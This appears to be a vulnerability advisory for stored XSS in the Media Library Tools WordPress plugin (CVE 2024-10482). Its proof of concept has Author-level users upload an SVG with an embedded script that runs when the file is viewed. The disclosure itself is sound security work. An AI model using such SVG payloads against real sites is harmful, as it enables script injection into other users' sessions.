Media Library Tools < 1.5.0 – Author+ Stored XSS via SVG | CVE 2024-10482 | Plugin Vulnerabilities

Description

The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Proof of Concept

1. As an admin, enable SVG support.
2. Once that is enabled, there are no further checks on SVG files and authors and above can upload them.

As an author, upload an SVG with the payload:

<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>

View the SVG and see the XSS.

Affects Plugins

media-library-tools

Fixed in 1.5.0

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

46cbd4bb-b6f3-49e8-8d79-8c378c617e7c

Timeline

Publicly Published

2024-10-31 (about 1 year ago)

Added

2024-10-31 (about 1 year ago)

Last Updated

2024-10-31 (about 1 year ago)

Other

Published

Title

Published

2023-10-17

Title

Seriously Simple Stats < 1.5.2 - Reflected XSS

Published

2024-11-28

Title

Podlove Podcast Publisher < 4.2.1 - Admin+ Stored XSS

Published

2025-03-27

Title

SearchIQ < 4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-02-21

Title

WPYog Documents < 1.3.6 - Reflected Cross-Site Scripting

Published

2023-02-15

Title

Zeno Font Resizer < 1.8.0 - Admin+ Stored XSS